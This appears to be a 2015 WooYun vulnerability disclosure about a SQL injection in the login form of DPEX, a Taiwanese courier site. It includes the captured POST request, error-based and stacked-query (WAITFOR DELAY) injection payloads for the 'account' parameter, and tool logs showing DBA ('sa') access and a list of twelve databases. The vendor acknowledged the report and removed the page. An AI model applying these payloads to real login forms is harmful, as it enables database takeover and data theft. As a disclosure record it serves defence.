当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145495

漏洞标题:DPEX迪比翼國際快递post注入漏洞(报错注入/DBA权限/涉及12裤)(臺灣地區)

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: 路人甲

提交时间:2015-10-11 20:59

修复时间:2015-11-27 12:05

公开时间:2015-11-27 12:05

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态: 已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-13: 厂商已经确认,细节仅向厂商公开
2015-10-23: 细节向核心白帽子及相关领域专家公开
2015-11-02: 细节向普通白帽子公开
2015-11-12: 细节向实习白帽子公开
2015-11-27: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

站点登入处抓包

http://**.**.**.**/login.asp


post包

POST /log.asp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/login.asp
Cookie: ASPSESSIONIDCCRSSDCD=BIOKHMPCEFOKONBNKHKIHOOL
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
account=15068712139&password=1&Submit=%E7%99%BB%E5%85%A5


Place: POST
Parameter: account
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: account=15068712139' AND 3966=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(9
8)+CHAR(110)+CHAR(58)+(SELECT (CASE WHEN (3966=3966) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(58)+CHAR(104)+CHAR(101)+CHAR(119)+CHAR(58))) AND 'dXin'='dXin&passwo
rd=1&Submit=??
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: account=15068712139'; WAITFOR DELAY '0:0:5';-- AND 'HBTa'='HBTa&pas
sword=1&Submit=??
---
[10:36:36] [INFO] testing Microsoft SQL Server
[10:36:36] [INFO] confirming Microsoft SQL Server
[10:36:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[10:36:37] [INFO] fetching current user
[10:36:37] [INFO] retrieved: sa
current user: 'sa'


确定是DBA权限

[10:39:16] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[10:39:16] [INFO] testing if current user is DBA
[10:39:16] [INFO] retrieved: 1
current user is DBA: 'True'


涉及12个数据库

available databases [12]:
[*] DPEXBOHQ
[*] DPEXEXTBILL
[*] DPEXWEB
[*] master
[*] model
[*] msdb
[*] MSDPEX95
[*] MSDPEX97
[*] MSOPS
[*] Northwind
[*] pubs
[*] tempdb


漏洞证明:

修复方案:

waf

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-10-13 14:02

厂商回复:

感謝通報

最新状态:

2015-11-27:http://www.dpex.com.tw/login.asp 已刪除